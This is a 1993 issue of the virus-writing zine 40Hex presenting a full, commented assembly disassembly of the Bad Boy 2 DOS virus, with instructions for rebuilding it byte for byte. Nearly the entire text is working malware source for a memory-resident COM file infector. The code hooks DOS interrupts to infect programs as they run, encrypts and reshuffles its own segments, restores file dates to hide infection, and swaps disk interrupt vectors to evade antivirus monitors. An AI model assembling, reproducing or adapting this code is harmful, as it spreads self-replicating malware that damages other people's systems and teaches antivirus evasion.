40Hex Issue 10 Volume 3 Number 1                                      File 006

The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
not a good source of virus description, so we will not bother including its
utterly useless description of the virus here.  Bad Boy 2 is a resident COM
infector.  After 10 infections, it turns itself off.   Although most of the
code is written well, there are still a few bugs and inconsistencies in it.
It implements several well-known stealth techniques, including playing with
the system file table.  It is a segmented virus, with variable placement of
each segment when it infects a file.  Thus the locations of each segment in
the virus relative to each other changes upon each infection.

For a byte-to-byte match up of the original, assemble with the following:
       tasm badboy2.asm
       tlink /t badboy2.asm
Note only one pass is required.

                                       Dark Angel
                                       Phalcon/Skism 1993

-------------------------------------------------------------------------------
               .model tiny
               .code
               org     100h
; Bad Boy 2 virus
; Disassembly done by Dark Angel of Phalcon/Skism
; For 40Hex Issue 10 Volume 3 Number 1
start:
               push    cs:startviruspointer            ; save on stack for
               push    cs                              ; return
               pop     ds
               jmp     word ptr cs:encryptpointer      ; decrypt virus
endstart:

curpointer      dw      0
infcounter      db      0
filesize        dw      2
filetime        dw      0
filedate        dw      0

origint21       dw      0, 0
DOSdiskOFF      dw      0
DOSdiskSEG      dw      0
oldint21        dw      0, 0

oldint24        dw      0, 0

; The parts of the virus are here
encryptpointer          dw      offset carrierencrypt
startviruspointer       dw      offset startvirus
installpointer          dw      offset install
exitviruspointer        dw      offset exitvirus
restoreint21pointer     dw      offset restoreint21
int24pointer            dw      offset int24
int21pointer            dw      offset int21
infectpointer           dw      offset infect

encryptlength           dw      endencrypt-encrypt
startviruslength        dw      endstartvirus-startvirus
installlength           dw      endinstall-install
exitviruslength         dw      endexitvirus-exitvirus
restoreint21length      dw      endrestoreint21-restoreint21
int24length             dw      endint24-int24
int21length             dw      endint21-int21
infectlength            dw      endinfect-infect


enddata:

encrypt: ; and decrypt
               mov     bx,offset startviruspointer
               mov     cx,6
do_next_segment:
               cmp     bx,offset int24pointer
               jne     not_int24pointer
               add     bx,2
not_int24pointer:
               push    bx
               push    cx
               mov     ax,[bx]                 ; get start offset
               mov     cx,[bx+encryptlength-encryptpointer] ; and length
               mov     bx,ax
encrypt_segment:
               xor     [bx],al                 ; encrypt cx bytes
               inc     bx
               loop    encrypt_segment

               pop     cx
               pop     bx
               add     bx,2                    ; go to next segment
               loop    do_next_segment
               retn
endencrypt:

startvirus:
               mov     es,cs:[2]               ; get top of memory
               mov     di,100h                 ; check if virus
               mov     si,100h                 ; already resident
               mov     cx,offset endstart - offset start - 1
               rep     cmpsb
               jnz     not_installed           ; continue if not
               jmp     cs:exitviruspointer     ; otherwise, quit
not_installed:
               mov     ax,cs                   ; get current program's
               dec     ax                      ; MCB
               mov     ds,ax
               cmp     byte ptr ds:[0],'Z'     ; check if last one
               ;nop
               je      is_last_MCB             ; continue if so
               jmp     cs:exitviruspointer     ; otherwise, quit
is_last_MCB:
               rsize    = ((endvirus - start + 15)/16+1)*3 ; resident size in
                                               ; paragraphs
               sub     word ptr ds:[3],rsize   ; decrease MCB's memory
               mov     ax,es                   ; get segment of high memory
               sub     ax,rsize                ; decrease by virus size
               mov     es,ax                   ; es = start segment of virus
               mov     ds:[12h],ax             ; put value in PSP top of
                                               ; memory field
               push    cs
               pop     ds
               mov     cs:infcounter,0         ; clear infection counter
               mov     di,100h
               mov     cx,offset enddata - offset start
               mov     si,100h
               rep     movsb
               mov     bx,cs:encryptpointer
               add     bx,encrypt_segment-encrypt+1
               xor     byte ptr [bx],18h       ; change to: xor [bx],bl

; shuffling segments to different locations
               mov     cx,8
               mov     curpointer,offset encrypt
shuffle:
               push    cx
               call    random_segment
               push    bx
               mov     ax,[bx]
               push    ax
               add     bx,encryptlength-encryptpointer
               mov     cx,[bx]
               pop     si
               pop     bx
               xchg    di,curpointer
               mov     es:[bx],di              ; copy segment
               rep     movsb                   ; to memory area
               xchg    di,curpointer
               mov     ax,8000h
               or      [bx],ax                 ; mark already copied
               pop     cx
               loop    shuffle

               mov     cl,8
               not     ax                      ; ax = 7FFFh
               mov     bx,offset encryptpointer
clear_hibit:                                    ; restore the pointers
               and     [bx],ax
               add     bx,2
               loop    clear_hibit

               jmp     cs:installpointer

random_segment:
               push    cx
               push    es
               xor     cx,cx
               mov     es,cx
random_segment_loop:
               mov     bx,es:[46Ch]            ; get timer ticks since
                                               ; midnight MOD 8
               db      081h,0e3h,7,0           ; and bx,7
               shl     bx,1                    ; multiply by 2
               add     bx,offset encryptpointer
               test    word ptr [bx],8000h     ; check if already moved
               jnz     random_segment_loop     ; do it again if so
               pop     es
               pop     cx
               retn
endstartvirus:

install:
               xor     ax,ax
               mov     ds,ax                   ; ds->interrupt table
               mov     ax,ds:21h*4             ; save old int 21h handler
               mov     es:oldint21,ax
               mov     ax,ds:21h*4+2
               mov     word ptr es:oldint21+2,ax
               mov     ah,30h                  ; get DOS version
               int     21h

               cmp     ax,1E03h                ; 3.X?
               jne     not_DOS_3X              ; skip if not
               mov     es:origint21,1460h      ; use known value for int 21h
               mov     ax,1203h                ; get DOS segment
               push    ds
               int     2Fh

               mov     word ptr es:origint21+2,ds
               pop     ds
               jmp     short is_DOS_3X
               nop
not_DOS_3X:
               mov     ax,ds:21h*4
               mov     es:origint21,ax
               mov     ax,ds:21h*4+2
               mov     word ptr es:origint21+2,ax
is_DOS_3X:
               cli                             ; set new int 21h handler
               mov     ax,es:int21pointer
               mov     ds:21h*4,ax
               mov     ax,es
               mov     ds:21h*4+2,ax
               sti
               mov     cx,es
               mov     ah,13h                  ; get old DOS disk handler
               int     2Fh                     ; to es:bx

               push    es
               mov     es,cx
               mov     es:DOSdiskOFF,dx
               mov     es:DOSdiskSEG,ds
               pop     es
               int     2Fh                     ; restore DOS disk handler
               jmp     cs:exitviruspointer
endinstall:

exitvirus:
               push    cs                      ; copy return routine to
               push    cs                      ; buffer at end of file
               pop     ds                      ; and transfer control
               pop     es                      ; to it
               mov     si,cs:exitviruspointer
               add     si,offset return_to_COM - offset exitvirus
               ;nop
               mov     di,cs:filesize
               add     di,offset endvirus
               push    di
               mov     cx,offset end_return_to_COM - offset return_to_COM
               cld
               rep     movsb
               retn                            ; jmp to return_to_COM

return_to_COM:
               mov     si,cs:filesize
               add     si,100h
               cmp     si,offset endvirus      ; check if small file
               jae     not_negative            ; if not, skip next
               mov     si,offset endvirus      ; adjust for too small
not_negative:
               mov     di,100h
               mov     cx,offset endvirus - offset start - 1 ; ????
               rep     movsb                   ; copy old file to start
               mov     ax,100h                 ; and exit the virus
               push    ax
               retn
end_return_to_COM:

endexitvirus:

restoreint21:
               xor     di,di
               mov     ds,di
               cli
               mov     di,cs:oldint21
               mov     ds:21h*4,di
               mov     di,word ptr cs:oldint21+2
               mov     ds:21h*4+2,di
               sti
               retn

plea            db      'Make me better!'

endrestoreint21:

int24:
               mov     al,3
               iret

message         db      'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0

endint24:

int21:
               push    bx
               push    si
               push    di
               push    es
               push    ax
               cmp     ax,4B00h                ; check if execute
               jz      execute                 ; continue if so
               jmp     short exitint21
               nop
execute:
               push    ds
               push    cs
               pop     es
               xor     ax,ax
               mov     ds,ax
               mov     si,24h*4                ; get old int 24h
               mov     di,offset oldint24      ; handler
               movsw
               movsw
               mov     ax,cs:int24pointer
               cli                             ; set new critical error
               mov     ds:24h*4,ax             ; handler
               mov     ax,cs
               mov     ds:24h*4+2,ax
               sti
               pop     ds
               mov     ax,3D00h                ; open file read only
               pushf
               call    dword ptr cs:oldint21
               jc      restore_exitint21
               mov     bx,ax                   ; handle to bx
               call    cs:infectpointer
               pushf
               mov     ah,3eh                  ; close file
               pushf
               call    dword ptr cs:oldint21
               popf
               jc      restore_exitint21
               push    ds
               cli                             ; subvert nasty disk
               xor     ax,ax                   ; monitoring programs
               mov     ds,ax
               mov     ax,cs:DOSdiskOFF
               xchg    ax,ds:13h*4
               mov     cs:DOSdiskOFF,ax
               mov     ax,cs:DOSdiskSEG
               xchg    ax,ds:13h*4+2
               mov     cs:DOSdiskSEG,ax
               sti
               pop     ds
restore_exitint21:
               push    ds
               xor     ax,ax
               mov     ds,ax
               mov     ax,cs:oldint24
               mov     ds:24h*4,ax
               mov     ax,word ptr cs:oldint24+2
               mov     ds:24h*4+2,ax
               pop     ds
exitint21:
               pop     ax
               pop     es
               pop     di
               pop     si
               pop     bx
               jmp     dword ptr cs:oldint21
endint21:

infect:
               push    cx
               push    dx
               push    ds
               push    es
               push    di
               push    bp
               push    bx
               mov     ax,1220h                ; get JFT entry for file
               int     2Fh                     ; handle bx

               mov     bl,es:[di]
               xor     bh,bh
               mov     ax,1216h                ; get associated SFT
               int     2Fh                     ; entry to es:di

               pop     bx
               mov     ax,es:[di+11h]          ; get file size
               cmp     ax,0F000h               ; exit if too large
               jb      not_too_large
               jmp     errorinfect
not_too_large:
               mov     word ptr es:[di+2],2    ; set to read/write mode
               mov     ax,es:[di+11h]          ; get file size (again)
               mov     cs:filesize,ax          ; save it
               mov     ax,es:[di+0Dh]          ; get file time
               mov     cs:filetime,ax          ; save it
               mov     ax,es:[di+0Fh]          ; get file date
               mov     cs:filedate,ax          ; save it
               push    cs
               pop     ds
               mov     dx,4E9h
               mov     cx,3E8h
               mov     ah,3Fh                  ; Read from file
               pushf
               call    dword ptr cs:oldint21
               jnc     read_ok
               jmp     errorinfect
read_ok:
               mov     bp,ax
               mov     si,dx
               mov     ax,'MZ'                 ; check if EXE
               cmp     ax,[si]
               jne     not_MZ
               jmp     errorinfect
not_MZ:
               xchg    ah,al
               cmp     ax,[si]                 ; check if EXE
               jne     not_ZM
               jmp     errorinfect
not_ZM:
               push    es
               push    di
               push    cs
               pop     es
               mov     si,100h                 ; check if already
               mov     di,dx                   ; infected
               mov     cx,offset endstart - offset start - 1
               repe    cmpsb
               pop     di
               pop     es
               jnz     not_already_infected
               jmp     errorinfect
not_already_infected:
               mov     word ptr es:[di+15h],0
               push    es
               push    di
               mov     si,cs:infectpointer
               add     si,offset write_virus - offset infect
               xor     di,di
               push    cs
               pop     es
               mov     cx,offset end_write_virus-offset write_virus
               cld
               rep     movsb
               pop     di
               pop     es
               mov     si,cs:infectpointer
               add     si,offset finish_infect - offset infect
               push    si
               xor     si,si
               push    si
               push    ds
               cli                             ; subvert nasty
               xor     ax,ax                   ; antivirus programs
               mov     ds,ax
               mov     ax,cs:DOSdiskOFF
               xchg    ax,ds:13h*4
               mov     cs:DOSdiskOFF,ax
               mov     ax,cs:DOSdiskSEG
               xchg    ax,ds:13h*4+2
               mov     cs:DOSdiskSEG,ax
               sti
               pop     ds
               retn

write_virus:
               push    bx
               call    cs:encryptpointer       ; encrypt virus
               pop     bx
               mov     dx,100h
               mov     ah,40h                  ; write virus
               mov     cx,offset endvirus - offset start
               pushf
               call    dword ptr cs:origint21
               pushf
               push    bx
               call    cs:encryptpointer       ; decrypt virus
               pop     bx
               popf
               jnc     write_OK
               pop     ax
               mov     ax,cs:infectpointer
               add     ax,offset infectOK - offset infect
               push    ax
               retn
write_OK:
               mov     ax,es:[di+11h]          ; move file pointer
               mov     es:[di+15h],ax          ; to end of file
               mov     dx,offset endvirus
               mov     cx,bp
               mov     ah,40h                  ; concatenate carrier
               pushf                           ; file's first few bytes
               call    dword ptr cs:origint21
               retn
end_write_virus:

finish_infect:
               mov     ax,5701h                ; restore file time/date
               mov     cx,cs:filetime
               mov     dx,cs:filedate
               pushf
               call    dword ptr cs:oldint21
               inc     cs:infcounter
               cmp     cs:infcounter,10d       ; after 10 infections,
               jne     infectOK
               call    cs:restoreint21pointer  ; turn off virus
               jmp     short infectOK
errorinfect:
               stc                             ; set error flag
               jmp     short exitinfect
infectOK:
               clc                             ; clear error flag
exitinfect:
               pop     bp
               pop     di
               pop     es
               pop     ds
               pop     dx
               pop     cx
               retn
endinfect:
               db      0
endvirus:
               int     20h

carrierencrypt:
               mov     word ptr cs:encryptpointer,offset encrypt
               retn

               end     start
-------------------------------------------------------------------------------
                                                                            DA